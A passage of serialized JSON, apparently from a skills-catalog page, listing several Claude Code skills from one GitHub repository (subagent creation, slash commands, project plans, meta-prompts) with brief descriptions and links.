analysis.","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fdebug-like-expert\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fdebug-like-expert\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":96,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":19},"01M735DJ3BTWG3EYPP2ZNCNSW9","create-subagents","Expert guidance for creating, building, and using Claude Code subagents and the Task tool. Use when working with subagents, setting up agent configurations, understanding how agents work, or using the Task tool to launch specialized agents.","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fcreate-subagents\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fcreate-subagents\u002FSKILL.md",[],[],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":104,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":19},"01M735DFWD984SEMV4HARQKV9E","create-slash-commands","Expert guidance for creating Claude Code slash commands. Use when working with slash commands, creating custom commands, understanding command structure, or learning YAML configuration.","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fcreate-slash-commands\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fcreate-slash-commands\u002FSKILL.md",[],[],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":112,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":19},"01M735DCXCW0P3K54XRJG5YXEA","create-plans","Create hierarchical project plans optimized for solo agentic development. Use when planning projects, phases, or tasks that Claude will execute. Produces Claude-executable plans with verification criteria, not enterprise documentation. Handles briefs, roadmaps, phase plans, and context handoffs.","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fcreate-plans\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fcreate-plans\u002FSKILL.md",[],[],{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":120,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":19},"01M735DAAHBE34Y3H959C8FBDB","create-meta-prompts","Create optimized prompts for Claude-to-Claude pipelines with research, planning, and execution stages. Use when building prompts that produce outputs for other prompts to consume, or when running multi-stage workflows (research -> plan -> implement).","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fcreate-meta-prompts\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Flars-hh\u002Flars-cc-skills\u002Fblob\u002Fmain\u002Ftaches-toolkit\u002Fskills\u002Fcreate-meta-prompts\u002FSKILL.md",[],[]]